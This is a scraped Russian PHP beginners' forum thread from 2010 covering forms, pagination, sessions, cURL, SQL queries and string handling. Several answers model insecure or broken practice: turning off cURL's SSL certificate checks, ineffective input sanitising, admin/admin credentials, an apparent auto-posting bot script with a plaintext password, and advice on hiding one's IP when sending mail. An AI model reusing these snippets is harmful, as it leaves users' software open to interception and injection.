Просмотр полной версии : [php] Новичкам: задаем вопросы
я сделал так preg_match('/^([a-fA-F0-9]){6}$/',$_POST['new_color']
Всем привет. имеется функция
<?php
$a=($b)+5;
?>
нужно что бы значение $b поступало из html формы, и после отправки данных формы выводилось посчитаное значение $a .
возможно ли это? если да то как? заранее спасибо.
з.ы. не стебаться, только начал учить пых
emillord
18.02.2010, 17:06
з.ы. не стебаться, только начал учить пых
Вот прочитай, будет очень полезно.
http://www.znannya.org/?view=PHP_inauery_forms
Вот прочитай, будет очень полезно.
http://www.znannya.org/?view=PHP_inauery_forms
спасибо,узнал кое что новое. но вот как сделать что бы значение $b поступало из формы так и не понял(
2DRONING
<form method="POST">
<input type="text" name="privet" /> <input type="submit" value="Отправить" />
</form>
<?php
if(isset($_POST['privet'])) {
$b = intval($_POST['privet']);
$a = $b + 5;
echo "Результат: <b>$a</b>";
}
?>
2DRONING
<form method="POST">
<input type="text" name="privet" /> <input type="submit" value="Отправить" />
</form>
<?php
if(isset($_POST['privet'])) {
$b = intval($_POST['privet']);
$a = $b + 5;
echo "Результат: <b>$a</b>";
}
?>
спасибо большое)
привет, пацана выручайти :)
попутал что то со страницами.
суть в том что у меня в базе 100 записей.
нужно выводить по 10.
но как сделать запрос?
mysql_query SELECT * FROM `accs` limit 0,10 * $i - где $i = страница.
но такого вида запрос не делается :(
короче как сделать запрос вида
Селкт все фром аккс лимит 0.10 умножить на страницу
думаю вы меня поняли :)
-=Zhenek=-
18.02.2010, 21:10
Зачем умножать?
сначала вычисляешь сколько записей на странице,а потом уже делаешь лимиты.
если по 10 то такие :
1 0,10
2 10,20
3 20,30
Тока не в ручную)) Поищи тут были пару факов на эту тему
<?php
$onpage = "10"; //Количество записей "на страницу"
$now = $i * $onpage; // $i - текущая страница
$query = "mysql_query SELECT * FROM `accs` limit $now,$onpage"; //Формируем запрос
?>
не?
Подскажите плз, можно как-то узнать, из какова объекта был вызван метод класса?
Подскажите плз, можно как-то узнать, из какова объекта был вызван метод класса?
Чета я не понял. Извините.
Лучше поясни как ты хочешь проверить и что?
Глянув на код уже можно понять из какого объкта
$object->ClassMethod();
Или ты хочешь узнать исходя из такого:
$str = $object->ClassMethod();
И уже из этой переменной узнать из какого объкта она назначилась?
не, немножко не так вот код:
class example {
function some_func() {
return 'var '.$varname.' call this function';
}
}
$var1= new example;
$var2= new example;
$var1->some_func(); //Нужно вернуть "var $var1 call this function"
$var2->some_func(); //Нужно вернуть "var $var2 call this function"
или как-то так... кода просто много, и нужно для дебага...
Как можно отправить письмо, не "спалив" свой IP ?
mail() через сокс, как такое осуществить ?
mailbrush
18.02.2010, 23:15
Как можно отправить письмо, не "спалив" свой IP ?
mail() через сокс, как такое осуществить ?
Коннектишься через fsockopen к соксу, а потом посылаешь туда SMTP-команды.
Texhnolyze
19.02.2010, 00:08
Какой сервер мне указывать при подключении Тотал Командером к http://www.110mb.com/ ?
Какой сервер мне указывать при подключении Тотал Командером к http://www.110mb.com/ ?
Тот,который пришел в письме на указанный при регистрации E-mail адрес.
Сначала идет проверка на существование переменной :
if ( isset( $_POST['name'] ))
Потом заносится в переменную :
$test = htmlspecialchars(isset( $_POST['name']);
Что можно ещё использовать кроме htmlspecialchars для усиления безопасности ???
Предложите свое решение?
emillord
19.02.2010, 01:12
$test= str_replace("<","_",$test);
$test= htmlspecialchars(stripslashes($test));
$test= substr($HTTP_POST_VARS["test"],0,30);
Можно и это попробовать.
А еще можно все в base64 в базу пихать =\
safinik2009
19.02.2010, 15:05
<?php
fclose(fopen('cookie.txt', 'w'));
$url = array(
'login'=>'http://fundux.ru/login',
'index'=>'http://fundux.ru/',
'post'=>'http://fundux.ru/project'
);
$login_data = 'login=XD;pass=WuHoMoCruF';
$messages = file('mess.txt');
$curl = curl_init();
$setopt = array(
CURLOPT_URL => $url['login'],
CURLOPT_POST => 1,
CURLOPT_RETURNTRANSFER => 1,
CURLOPT_TIMEOUT => 60,
CURLOPT_REFERER => $url['index'],
CURLOPT_USERAGENT => 'Mozilla/4.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.3) Gecko/2008092417 Firefox/3.0.3',
CURLOPT_COOKIEJAR => 'cookie.txt',
CURLOPT_HEADER => 0,
);
curl_setopt_array($curl,$setopt);
curl_setopt($curl,CURLOPT_POSTFIELDS, $login_data);
curl_exec($curl);
curl_setopt($curl, CURLOPT_URL, $url['post'].rand(1, 9999));
curl_setopt($curl,CURLOPT_POSTFIELDS, 'message='.$messages[0].'&does=1&secure=1266508429&chas=d8841b08bc');
curl_exec($curl);
curl_setopt($curl, CURLOPT_URL, $url['post'].rand(1, 9999));
curl_setopt($curl,CURLOPT_POSTFIELDS, 'message='.$messages[1].'&does=1&secure=1266508429&chas=d8841b08bc');
curl_exec($curl);
curl_close($curl);
?>
Выдает ошибку
Fatal error: Call to undefined function curl_init() in /home/aiq/s/a/f/safinik/public_html/project.php on line 14
Как исправить ???
wildshaman
19.02.2010, 15:06
Установить curl
safinik2009
19.02.2010, 16:29
установить curl
Как ??? Можно поподробне ???
А еще лутше если вы подскажите на каком freeхосте это можно сделать ???
Есть код определения ПР:
<?php
error_reporting (E_ALL & ~E_NOTICE);
/**
* Google Page rank data grabber.
* Based on Google toolbar data.
*
* Working with data like that:
* "Rank_1:1:6". Without XML/HTML parsing.
*
* @important:
* This code is for cognitive purposes only.
* Usage of this code is against Google's terms of service.
* No support is provided for this code.
* Can be used "as is" for your own risk.
*
* @requirements:
* - PHP version 5 (can easily be downgraded to PHP4)
* - cURL library (but you can replace curl functions with
* PHP standard fopen/fread or other)
*
* @version 1.1
* @author exstabler // PHP version
* @author snoopy // JS version
*
* @changelog:
* - 2007-01-18:
* 1. [exstabler] Deprecated method intToHex deleted.
* 2. [exstabler] Method toHex8 corrected.
*
* @sample usage:
* $obj = new PageRankGrabber();
* $rank = $obj->getRank('http://dir.org.ru');
*/
class PageRankGrabber {
/**
* Returns PageRank for specified page
* @param string $url
* @return integer PageRank value
*/
public function getRank($url) {
$pageUrl = $this->getRankUrlStingByPageUrl($url);
$content = $this->getContentCurl($pageUrl);
echo $pageUrl;
$parts = explode(":", $content);
return intval(@$parts[count($parts)-1]);
}
/**
* Returns content by URL with using
* cURL library.
*
* @param string $url
* @return string Site content
*/
public function getContentCurl($url) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 0);
$result = curl_exec($ch);
curl_close($ch);
return $result;
}
/**
* Returning URL where PR can be grabbed.
*
* @param string $page - Page URL
* @return string
*/
public function getRankUrlStingByPageUrl($page) {
$this->awesomeHash($page);
$hash = "8" . $this->awesomeHash($page);
$url = "http://toolbarqueries.google.com/search?sourceid=" .
"navclient-ff&features=Rank&client=navclient-auto-ff&";
$url .= "ch=" . $hash . "&q=info:" . urlencode($page);
return str_replace(' ', '', $url);
}
/**
* Transforms integer into hexademical
*
* @param int $num
* @return string
*/
private function toHex8($num) {
$vector = "0123456789abcdef";
return $vector[($num % 256) / 16] . $vector[$num % 16];
}
/**
* Service function: encoder
*/
private function hexEncodeU32($num) {
$result = $this->toHex8($this->zerofillShift($num, 24));
$result .= $this->toHex8($this->zerofillShift($num, 16) & 255);
$result .= $this->toHex8($this->zerofillShift($num, 8) & 255);
return $result . $this->toHex8($num & 255);
}
/**
* Service function: hashing
*/
private function awesomeHash($value) {
$hashSeed = "Mining PageRank is AGAINST GOOGLE'S TERMS OF SERVICE." .
"Yes, I'm talking to you, scammer.";
$intValue = 16909125;
for($i = 0; $i < strlen($value); $i++ ){
$intValue ^=
$this->charCodeAt($hashSeed, $i % strlen($hashSeed)) ^
$this->charCodeAt($value, $i);
$intValue =
$this->zerofillShift($intValue, 23) | $intValue << 9;
}
return $this->hexEncodeU32($intValue);
}
/**
* The charCodeAt() method returns the Unicode
* of the character at a specified position.
*
* @param int $value
*/
private function charCodeAt($value, $position) {
$symbol = $value[$position];
// ord() is for ASCII!
// Original function should work with UTF-8.
return ord($symbol);
}
/**
* Service function: zerofil with shifing
* (unsigned shift right).
*/
private function zerofillShift($a, $b) {
$z = hexdec(80000000);
if ($z & $a) {
$a = ($a >> 1);
$a &= (~$z);
$a |= 0x40000000;
$a = ($a >> ($b-1));
} else {
$a = ($a >> $b);
}
return $a;
}
}
$obj = new PageRankGrabber();
$rank = $obj->getRank('http://google.com');
echo " hello ".$rank."<br>";
phpinfo();
?>
Один и тот же код на разных серверах.
На всех серверах кроме одного выполняется корректно, хеш считает: http://toolbarqueries.google.com/search?sourceid=navclient-ff&features=Rank&client=navclient-auto-ff&ch=8183b0d79&q=info:http%3A%2F%2Fgoogle.com
А на нужном выдает ошибку:
PHP Notice: Uninitialized string offset: -1 in /var/www/html/prcheck/index3.php on line 89
и ничего не считает: http://toolbarqueries.google.com/search?sourceid=navclient-ff&features=Rank&client=navclient-auto-ff&ch=80ffffff&q=info:http%3A%2F%2Fgoogle.com
Уже несколько раз пересобирал пхп, включал-отключал модули. Хоть убейся не могу найти зависимость.
Огромная просьба помочь, может у кого есть идеи.
денвер найдешь где скачать,а тут написано про установку курла на него http://parsing-and-i.blogspot.com/2009/09/curl-denwer.html
real_kas
19.02.2010, 22:07
Мне нужно вывести предложение изходя из времени.
К примеру:
с 9:00 по 10:35 - вывод: Доброе утро
с 12:50 по 14:25 - вывод: Добрый день
с 16:20 по 17:55 - вывод: Добрый вечер
Как это реализовать в php? Есть ли стндартные функции? Если нет, то где искать решение?
ЗЫ: Ответа не нашел, видимо не нашелся как сформировать поисковый запрос.. уж сложно в отношении данного вопроса
Deathdreams
19.02.2010, 22:16
Мне нужно вывести предложение изходя из времени.
К примеру:
с 9:00 по 10:35 - вывод: Доброе утро
с 12:50 по 14:25 - вывод: Добрый день
с 16:20 по 17:55 - вывод: Добрый вечер
Как это реализовать в php? Есть ли стндартные функции? Если нет, то где искать решение?
ЗЫ: Ответа не нашел, видимо не нашелся как сформировать поисковый запрос.. уж сложно в отношении данного вопроса
$date = date("Hi");
if( $date >= 0900 && $date <= 1035 ) echo "Доброе утро";
if( $date >= 1250 && $date <= 1425 ) echo "Добрый день";
if( $date >= 1620 && $date <= 1735 ) echo "Добрый вечер";
imajo.ati
19.02.2010, 22:35
if( $date >= 0900 && $date <= 1035 ) echo "Доброе утро";
0900 == 0
real_kas
19.02.2010, 22:35
0900 == 0
почему?
что за ошибка
Warning: session_start() [function.session-start]: Cannot send session cache limiter - headers already sent (output started at /home/realbn/domains/*****/public_html/parser/parser2.php:6) in /home/realbn/domains/*****/public_html/parser/parser2.php on line 7???
emillord
20.02.2010, 16:23
Warning: session_start() [function.session-start]: Cannot send session cache limiter - headers already sent (output started at /home/realbn/domains/*****/public_html/parser/parser2.php:6) in /home/realbn/domains/*****/public_html/parser/parser2.php on line 7???
Видимо есть пробелы\пустые строки в <?php там ничего не должно быть...
Подробнее тут http://joomlaforum.ru/index.php?topic=34534.0
Видимо есть пробелы\пустые строки в <?php там ничего не должно быть...
Подробнее тут http://joomlaforum.ru/index.php?topic=34534.0
сам код хер знает где пробелы :confused: :confused:
<?
session_start();
require ('config.php');
if ($_SESSION['login']<>$admin_login and $_SESSION['password']<>$admin_passw)
{
header("Location:/parser.php?err=falce");
exit();
}
?>
-=Zhenek=-
20.02.2010, 16:43
Пробелы или перенос строки после ?>
а может ты стартуешь сессию,после вывода чегонибудь?
Пробелы или перенос строки после ?>
а может ты стартуешь сессию,после вывода чегонибудь?
незнаю
wildshaman
20.02.2010, 16:52
Что в config.php?
Что в config.php?
<?php
$admin_login="admin";
$admin_passw="admin";
?>
wildshaman
20.02.2010, 16:57
Сохрани оба файла нотпадом++ в utf-8 без BOM
Сохрани оба файла нотпадом++ в utf-8 без BOM
:eek: :eek: как это
wildshaman
20.02.2010, 17:02
Notepad++ - открываешь файл
Кодировка - преобразовать в UTF-8 без BOM
Notepad++ - открываешь файл
Кодировка - преобразовать в UTF-8 без BOM
где взять Notepad?
Помогите получить эту (https://statserv.udmvt.ru/) страницу, https нормально всегда загружалось, а тут ни вкакую не хочет получать страницу :(
Что-то я торможу, имеется такой код :
for ($i=0; $i < 4; $i++)
{
$str = $i . "0";
$str = array($str);
print_r ($str);
}
В результате выводится :
Array ( [0] => 00 ) Array ( [0] => 10 ) Array ( [0] => 20 ) Array ( [0] => 30 )
Как сделать чтоб было так?:
Array ( [0] => 00 [1] => 10 [2] => 20 [3] => 30 )
wildshaman
20.02.2010, 19:08
2min7:
for ($i=0; $i < 4; $i++)
{
$str = $i . "0";
$arr[]=$str;
print_r ($arr);
}
wildshaman
20.02.2010, 19:16
Помогите получить эту (https://statserv.udmvt.ru/) страницу, https нормально всегда загружалось, а тут ни вкакую не хочет получать страницу :(
<?php
$curl = curl_init();
curl_setopt($curl,CURLOPT_URL,'https://statserv.udmvt.ru/');
curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);
curl_setopt($curl,CURLOPT_FOLLOWLOCATION,1);
curl_setopt($curl,CURLOPT_CONNECTTIMEOUT,30);
curl_setopt($curl,CURLOPT_SSL_VERIFYPEER, 0);//в этих двух строкаъ отключаем ssl
curl_setopt($curl,CURLOPT_SSL_VERIFYHOST, FALSE);
curl_setopt($curl,CURLOPT_ENCODING,"gzip,deflate");
$ret = curl_exec($curl);
echo $ret;
?>
помогите пожалуйста скриптом, которы бы невразумительное %D0%BF%D0%B5%D1%80%D0%B8%D0%BE%D0%B4 из запроса допустим гугла http://www.google.com/search?q=%D0%BF%D0%B5%D1%80%D0%B8%D0%BE%D0%B4 превращал бы в слово "период" и наоборот.
Qb1024 http://php.net/urldecode
SHiNiGaMi
21.02.2010, 14:31
Нужны ли какие-либо драйвера для работы php + apache на ПК? У меня после переустановки системы php никак не устанавливается и каждый раз новые проблемы: либо не распознает php, либо не разрешает доступ к серверу.
wildshaman
21.02.2010, 14:36
Нужны ли какие-либо драйвера для работы php + apache на ПК? У меня после переустановки системы php никак не устанавливается и каждый раз новые проблемы: либо не распознает php, либо не разрешает доступ к серверу.
Драйверы?о_О нет
Ставь просто denwer или другой пак, там и php и mysql и все остальное, проблем не будет.
Patronik
21.02.2010, 15:19
У меня проблема с curl при передаче через POST.
так работает
$zapros = "sex";
curl_setopt ($ch, CURLOPT_POSTFIELDS, '?title=Спеціальна%3ASearch&search='.$zapros.'&fulltext=Пошук');
а так вместо результата выходит ����������������
видимо проблема с кодировкой, но не знаю как решить
$zapros = "секс";
curl_setopt ($ch, CURLOPT_POSTFIELDS, '?title=Спеціальна%3ASearch&search='.$zapros.'&fulltext=Пошук');
roxblnfk
21.02.2010, 15:41
попробуй urlencode()
Patronik
http://ua.php.net/manual/en/function.iconv.php
serg-php
21.02.2010, 17:05
Столкнулся с ситуацией вывода 3 сообщений, релевантных
демонстрируемой темы!
Имею следующую конструкцию:
function block_Ad_Details_Ads_by_Offer(&$tpl){
global $db,$a_Ad,$TITLE_FIELD;
$ql = 'SELECT link_id AS o_id,'.$TITLE_FIELD.' AS o_title, images AS o_images, rand() AS rnd FROM '.TBL_AD.
' WHERE catid="'.$a_Ad['catid'].'"'.
hwFilterGetSQL().' GROUP BY '.$TITLE_FIELD.' ORDER BY rnd LIMIT 3';
$res = $db->query($ql);
while($v = mysql_fetch_assoc($res)){
$v['o_ad_url'] = hwGetAdURL($v['o_id']);
$tpl->AddCell('b_Ads_by_Offer',$v);
}
}
Не устраивает запрос к базе, т.к. он выводит случайные превьюшки 3 тем из категории.
Хочу сделать так, чтобы по id темы подбирались id других 3-х существующих тем
в данной категории.
Для каждой последующей темы данной категории 3 id других тем разные.
Не пойму, как организовать подбор 3-х id на основе id существующей темы.
Буду благодарен совету!
serg-php
21.02.2010, 18:17
Решение было следующим:
$ql = 'SELECT link_id AS o_id,'.$TITLE_FIELD.' AS o_title, images AS o_images, v_descr AS o_descr FROM '.TBL_AD.
' WHERE catid="'.$a_Ad['catid'].'" AND link_id < '.$a_Ad['link_id'].''.
hwFilterGetSQL().' ORDER BY link_id DESC LIMIT 3';
Нужны ли какие-либо драйвера для работы php + apache на ПК? У меня после переустановки системы php никак не устанавливается и каждый раз новые проблемы: либо не распознает php, либо не разрешает доступ к серверу.
А ты как его ставишь? Ставь подключаемым модулем, Для этого нужно подправть конфиги апатча.
ReduKToR
21.02.2010, 20:26
Вообщем вопрос:
В таблице мускул есть поля:
церковь - 0
Замок - 1
кузница - 1
оружейка - 1
клановая - 0
требуется сделать процентное соотношение всей таблицы,типа город развит на nn %
просьба не посылать читать учебники алгебры за 6 класс...
Вообщем вопрос:
В таблице мускул есть поля:
церковь - 0
Замок - 1
кузница - 1
оружейка - 1
клановая - 0
требуется сделать процентное соотношение всей таблицы,типа город развит на nn %
просьба не посылать читать учебники алгебры за 6 класс...
А сколько максимально может быть баллов в сумме?
-=Zhenek=-
21.02.2010, 20:33
ну если каждого здания по 1 то так:
y - количество здания (у вас это 5)
y=100%
1=x%
x= 100/y
у вас х = 20%
тоесть имея данные которые привели вы получаем развитие города на 60%
Если зданий может быть больше (2 церкви) то тогда всего зданий (у) это сумма количества всех возможных построек
формуло:
$x - сумма набранных баллов
$y - сумма максимального количества баллов города
$z - результат
______________
$z=round(x/($y/100));
wildshaman
21.02.2010, 20:34
Алгоритм, думаю, реализуешь сам.
Берешь все поля, суммируешь все значения и для уровня развития города будет формула:
$level=$summ*100\$maxsumm;
где $summ - уровень развития каждой структуры (0+1+1+1+1)
где $maxsumm - сумма максимальных возможностей развития структур (10+1+10+10+10 к примеру)
Patronik
21.02.2010, 20:46
Patronik
http://ua.php.net/manual/en/function.iconv.php
не помагает, ни iconv ни mbstring. Пробовал создать файл .htaccess в корне сайта с параметрами
AddDefaultCharset utf-8
<IfModule mod_charset.c>
CharsetRecodeMultipartForms Off
CharsetSourceEnc utf-8
</IfModule>
но тоже не помогает. Может есть какой то параметр curl какой указывает выходную кодировку. А может апач на выход переустанавливает кодировку по дефолту. не могу короче решыть ету проблему.
programming
21.02.2010, 22:25
Задача: спарсить с любого сайта абсолютно все внутренние ссылки(ведущие на другие страницы этого же сайта), при чём сделать это максимально быстрым способом. Поэтому регулярки не подходят. Склоняюсь к DOM, но точно не знаю как парсить таким способом. То есть без использования различных дополнительных библиотек.. Быть может будут и готовые решения?
wildshaman
21.02.2010, 22:29
Задача: спарсить с любого сайта абсолютно все внутренние ссылки(ведущие на другие страницы этого же сайта), при чём сделать это максимально быстрым способом. Поэтому регулярки не подходят. Склоняюсь к DOM, но точно не знаю как парсить таким способом. То есть без использования различных дополнительных библиотек.. Быть может будут и готовые решения?
Со всего сайта рекурсивно или 't с одной страницы?
Чем не устраивают регулярки?
programming
21.02.2010, 22:38
Со всего сайта рекурсивно или 't с одной страницы?
Чем не устраивают регулярки?
Регулярки дольше работают..
Со всего сайта. Но мне бы хотя бы с одной страницы решение найти..
wildshaman
21.02.2010, 22:43
Регулярки дольше работают..
Со всего сайта. Но мне бы хотя бы с одной страницы решение найти..
Быстрее регулярок решения ты не найдешь, я думаю. Тем более, на одной страницы не будет около миллиона ссылок, чтобы регулярки замедлять сильно.
Hofs $text = 'Привет';
$outtext = urlencode(base64_encode($text));
echo $outtext;
Если я тебя правильно понял Hofs то тебе нужно:
base64_encode()
Функция кодирует данные в кодировке MIME base64.
Синтаксис:
string base64_encode(string data)
Функция base64_encode() возвращает строку, переданную в параметре data в кодировке MIME base64.
Кодировка MIME base64 разработана для передачи двоичных данных через транспортные слои, которые не содержат восьмой бит, к примеру, как почтовые тела. Заметим, что данные в кодировке Base64 занимают примерно на 30% больше места, чем оригинал.
Спасибо за помощь!=)
код от Gifts - как раз то что мне нужно =)
Ребята, подскажите как можно сделать, чтобы php страничка определяла, зашел юзер с прокси или без нее?
Смотреть HTTP-заголовки
А поподробнее))
Немного я пробовал, не получалось.
А поподробнее))
Немного я пробовал, не получалось.
Кодэс в студиос1
NeoKlon многие виды проксей никак не показывают своего присутствия, не пытайтесь гоняться за ведьмами
NeoKlon многие виды проксей никак не показывают своего присутствия, не пытайтесь гоняться за ведьмами
Тогда хотябы для тех, для которых это возможно) Был бы очень признателен)
В поиске находил что-то про HTTP_CLIENT_IP и HTTP_X_FORWARDED_FOR, но нифига с ними не получается.
<?php
$a=file_get_contents('http://site.ru');
preg_match('/<div align="center" style="color:#fff;"><b>(.*)<\/html>/i',$a,$t);
echo $t[1];
?>
Всем привет.
Возможно ли как нибудь записать текст из GET переменной, не зная саму GET переменную.
Например есть:
$_GET[cmd]
$_GET[a]
$_GET[test]
и т.д.
Как вот записать или просто определить что хранят переменные, не знаю точное её название, но зная, что она передаётся методом GET
:D
AdReNa1!Ne
22.02.2010, 14:51
<?php
$k = 0;
foreach($_GET as $var)
{
$a[$k] = $var;
$k++;
}
print_r($a);
?>
В результате он выведет содержимое переменной $a с данными от всех элементов массива $_GET
programming
22.02.2010, 15:17
Быстрее регулярок решения ты не найдешь, я думаю. Тем более, на одной страницы не будет около миллиона ссылок, чтобы регулярки замедлять сильно.
Ну тогда можно универсальную регулярку для выдирания всех ссылок?(php).
mailbrush
22.02.2010, 15:38
Быстрее регулярок решения ты не найдешь, я думаю. Тем более, на одной страницы не будет около миллиона ссылок, чтобы регулярки замедлять сильно.
Все в точности до наоборот. Регулярки - самый удобный способ выдирания чего-то, но самый медленный.
Всем привет.
Возможно ли как нибудь записать текст из GET переменной, не зная саму GET переменную.
Например есть:
$_GET[cmd]
$_GET[a]
$_GET[test]
и т.д.
Как вот записать или просто определить что хранят переменные, не знаю точное её название, но зная, что она передаётся методом GET
:D
print_r($_GET);
А поподробнее))
Немного я пробовал, не получалось.
Выловить можно для определённых типов проксей по заголовкам Via, Forwarded, X-Forwarded-For and Client-ip
programming
22.02.2010, 15:47
Все в точности до наоборот. Регулярки - самый удобный способ выдирания чего-то, но самый медленный.
И какой способ более быстрый?
mailbrush
22.02.2010, 15:50
И какой способ более быстрый?
Подстроки. Сделай benchmark и увидишь разницу во времени. Но он не очень удобный.
programming
22.02.2010, 15:54
Подстроки. Сделай benchmark и увидишь разницу во времени. Но он не очень удобный.
Можно пример подстроки для выдирания ссылки?
mailbrush
22.02.2010, 16:03
Можно пример подстроки для выдирания ссылки?
$body = '<a href="http://google.com">Google</a>';
$a = strpos($body, '="');
$b = strlen('="');
$c = strpos($body, '">');
$url = substr($body, $a + $b, $c - $a - $b);
Вот такой изврат :)
Dark_cracker
22.02.2010, 16:21
проблемка с БД )
у меня есть таблица (tabl) в таблице поля ) 1,2,3 в них например уже есть запись , как мне добавить в эту же строчку например во второе поле ...
делаю так
UPDATE tabl SET 2 = привет WHERE = 1 LIMIT 1
проблемка с БД )
у меня есть таблица (tabl) в таблице поля ) 1,2,3 в них например уже есть запись , как мне добавить в эту же строчку например во второе поле ...
делаю так
UPDATE tabl SET 2 = привет WHERE = 1 LIMIT 1
UPDATE tabl SET key='value' WHERE id=2
Как сделать чтоб чистились Cookies одного сайта ?
хочу так нажимаю на линк выход и чистелись все Cookies сайта :rolleyes:
Dark_cracker
22.02.2010, 16:54
diGriz, спасибо ) нашёл ошибку ... есть ещё вопрос можно сделать запрос чтоб он не перезаписовал поле , а дописовал к уже существующей информации ???
mailbrush
22.02.2010, 16:59
diGriz, спасибо ) нашёл ошибку ... есть ещё вопрос можно сделать запрос чтоб он не перезаписовал поле , а дописовал к уже существующей информации ???
... SET `field` = field + 'info' ...
Как сделать чтоб чистились Cookies одного сайта ?
хочу так нажимаю на линк выход и чистелись все Cookies сайта :rolleyes:
Ставишь прошедшее время существование cookies + session_destroy()
... SET `field` = field + 'info' ...
Ставишь прошедшее время существование cookies + session_destroy()
вот есть
<?php
header("Location:/index.php");
exit();
?>
но он не чистет :confused:
$str = array('Вася','Дима','ОлеХ');
$name = $_POST[name];
echo "$name шел пить пиво";
Как можно имя из массива сравнить с тем , что будет передано через $_POST?
Извените за тупые вопросы :D
Как сделать чтоб чистились Cookies одного сайта ?
хочу так нажимаю на линк выход и чистелись все Cookies сайта :rolleyes:
SetCookie("Название","");
$str = array('Вася','Дима','ОлеХ');
$name = $_POST[name];
echo "$name шел пить пиво";
Как можно имя из массива сравнить с тем , что будет передано через $_POST?
Извените за тупые вопросы :D
if (in_array($name, $str)) {
echo "$name шел пить пиво";
}
if (in_array($name, $str)) {
echo "$name шел пить пиво";
}
Ну а если будет $name = "Вася П.";
То тогда не найдет.
Мне регулярное выражение нужно :(
[PHP]
SetCookie("Название","");
какое :confused: дали бы уже код то устал тут искать :(
mailbrush
22.02.2010, 18:42
foreach($_COOKIE as $key => $value)
setcookie($key, false, time() - 3600);
Ленивец!
foreach($_COOKIE as $key => $value)
setcookie($key, false, time() - 3600);
Ленивец!
это полный код? :rolleyes:
полный когда в
<?
код
?>
и выходил в файл в index.php
mailbrush
22.02.2010, 19:05
это полный код? :rolleyes:
полный когда в
<?
код
?>
и выходил в файл в index.phpПолный.
Полный.
ясно помог пипец как :mad: :mad:
Dark_cracker
22.02.2010, 19:19
... SET `field` = field + 'info' ...
так не получаеться ((( оно записут 0
mailbrush
22.02.2010, 19:28
ясно помог пипец как :mad: :mad:
Я не виноват в том, что у тебя кривые руки и ты не знаешь как выполнить этот код.
так не получаеться ((( оно записут 0
... SET `username` = concat(username, 'text') ...Вот так пробуй :)
Как вычесть время? 13:30:26 - 13:28:23 = 00:02:03
mailbrush
22.02.2010, 21:50
Как вычесть время? 13:30:26 - 13:28:23 = 00:02:03
http://php.su/functions/?time
Я для безопасности пользуюсь функциями mysql_escape_string и html_special_char, достаточно ли это для препятствий взлому?
Qb1024 ПРАВИЛЬНОЕ использование данных функций - увеличивает защищенность скриптом, но НЕ гарантируют достаточной защиты, если, например, у вас пароль на SSH/FTP/админку из трех символов
Qb1024 ПРАВИЛЬНОЕ использование данных функций - увеличивает защищенность скриптом, но НЕ гарантируют достаточной защиты, если, например, у вас пароль на SSH/FTP/админку из трех символов
Ну как правильное... При обращениях к базе mysql_escape_string, при выводе пользовательских данных html_special_char.
Я имею ввиду защиту именно подменой входящих данных, т.к. от брутфорса пока нет 100% защиты.
Такой вопрос, есть у меня переменные , передаются они с помощью $_GET. Дак вот
Как можно определить если значение переменной численное, т.е is_numeric и если оно меньше нуля, то эту переменную умножить на -1. Но дело в том, что некто не знает имен переменных, знаем только , что они передаются методом GET.
Я пробовал делать так:
$_GET['peremenaya'] = "-1";
foreach($_GET as $varg)
{
if(is_numeric($varg) and $varg < 0) {$varg = $varg * (-1);}
$ag[$kg] = $varg;
$kg++;
}
echo $_GET['peremenaya'];
только в самом массиве GET меняеться значение, a в $_GET['peremennya'] ка и было -1
peremenaya - может быть любой
imajo.ati
22.02.2010, 23:46
Такой вопрос, есть у меня переменные , передаются они с помощью $_GET. Дак вот
Как можно определить если значение переменной численное, т.е is_numeric и если оно меньше нуля, то эту переменную умножить на -1. Но дело в том, что некто не знает имен переменных, знаем только , что они передаются методом GET.
Я пробовал делать так:
$_GET['peremenaya'] = "-1";
foreach($_GET as $varg)
{
if(is_numeric($varg) and $varg < 0) {$varg = $varg * (-1);}
$ag[$kg] = $varg;
$kg++;
}
echo $_GET['peremenaya'];
Получается, только в самом массиве GET меняеться значение, а выводиться всё таки -1
peremenaya - может быть любой
foreach $_GET as &$varg
вместо
foreach $_GET as $varg
foreach $_GET as &$varg
вместо
foreach $_GET as $varg
Если не трудно, объясни доступным языком, что этот символ & сделал и к чему он применияеться и ли дай ссылку на мануал :)
SeNaP http://php.su/learnphp/?re
Если не трудно, объясни доступным языком, что этот символ & сделал и к чему он применияеться и ли дай ссылку на мануал :)
Прямая ссылка по адресу :o
_Malinovskiy_
23.02.2010, 00:58
я вытянул 9 картинок с бд и вывел их массивом как разделить на строки/столбцы массив? (вывожу через printf)
Цикл foreach для обхода массивов
Обход массива в цикле в PHP можно организовать при помощи цикла foreach, который имеет следующий синтаксис:
foreach (array as [$key =>] $value)
{
statements;
}
Смысл этого цикла прост: при проходе каждого элемента массива в переменную $key помещается индекс этого элемента, а в переменную $value – его значение. Имена этих двух переменных совершенно произвольны.
Пример:
<?
$car = array("passenger car", "land-rover",
"station-wagon","victoria");
foreach($car as $index => $val)
{
echo("$index -> $val <br>");
}
?>
Как видно из синтаксиса, переменная $key необязательна и может быть опущена
mailbrush,
дай полный код :o
Dark_cracker
23.02.2010, 04:37
mailbrush спасиб разобрался ))
ещё остался вопросик ) можна (точне знаю что можна) :) сделать запрос он проверяет если записоваемое значение есть в поле тогда запись не делать )))
Помогите нашкрябать скрипт обновления ТЕКСТОВОЙ БД пожалуйста. Вот пример:
Файл 1.dat:
1|Username|UserPass|Email|Status|ETC|90|
2|Username|UserPass|Email|Status|ETC|102|
И так далее,скоко зарегено,стоко тут и будет строк,но мне,например, необходимо обновить эту БД,так как есть люди, которые ничего не сделали,а критат [sensored] вот надо в конце добавить ип каждого участника,но как?
Должно будет выглядеть так:
1|Username|UserPass|Email|Status|ETC|90|10.0.20.54
2|Username|UserPass|Email|Status|ETC|102|10.38.138 .23
И так далее..
Dark_cracker,
$result = mysql_query("SELECT `lalala` FROM `table` WHERE lalala='tratata' ");
$num = mysql_num_rows($result);
if ($num == 1)
{
echo 'Такая запись уже есть';
}
Вместо lalala пиши то поле, которое хочешь проверить.
Также можно писать так:
$result = mysql_query("SELECT * FROM `table` WHERE lalala='tratata' ");
Это будет означать: Выбрать все поля из таблицы table где lalala = tratata.
Вместо table пиши имя твоей таблицы.
Вместо tratata пиши текст, и если этот текст в твоем поле будет, то скрипт выдаст "Такая запись уже есть".
Привет, не могу понять как сделать замену чисел
есть массив с числами какие на какие заменять...
$rate_array = array(1=>22,2=>19,3=>16,4=>13,5=>9);
$time = 22;
